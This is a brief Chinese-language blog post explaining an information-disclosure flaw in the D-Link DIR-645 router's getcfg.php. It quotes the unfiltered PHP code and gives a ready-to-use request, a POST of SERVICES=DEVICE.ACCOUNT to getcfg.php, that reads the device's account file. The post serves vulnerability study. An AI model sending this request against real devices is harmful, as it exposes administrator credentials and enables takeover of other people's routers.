D-Link DIR-645 信息泄露漏洞

D-Link DIR-645 getcfg.php 文件由于过滤不严格导致信息泄露漏洞。

$SERVICE_COUNT = cut_count($_POST["SERVICES"], ",");
TRACE_debug("GETCFG: got ".$SERVICE_COUNT." service(s): ".$_POST["SERVICES"]);
$SERVICE_INDEX = 0;
while ($SERVICE_INDEX < $SERVICE_COUNT)
{
    $GETCFG_SVC = cut($_POST["SERVICES"], $SERVICE_INDEX, ",");
    TRACE_debug("GETCFG: serivce[".$SERVICE_INDEX."] = ".$GETCFG_SVC);
    if ($GETCFG_SVC!="")
    {
        $file = "/htdocs/webinc/getcfg/".$GETCFG_SVC.".xml.php";
        /* GETCFG_SVC will be passed to the child process. */
        if (isfile($file)=="1") dophp("load", $file);
    }
    $SERVICE_INDEX++;
}

这里我们可以看到 $GETCFG_SVC 没有任何过滤直接获取了 POST 传递过来的SERVICES的值。如果$GETCFG_SVC不为空,则进行文件读取。这里我们就可以读取存储此设备信息的DEVICE.ACCOUNT.xml.php文件。

http://IP/getcfg.php

post:SERVICES=DEVICE.ACCOUNT

参考:https://www.cnblogs.com/HacTF/p/8052279.html

 

posted @ 2019-03-20 14:52  _H0f  阅读(474)  评论(0编辑  收藏  举报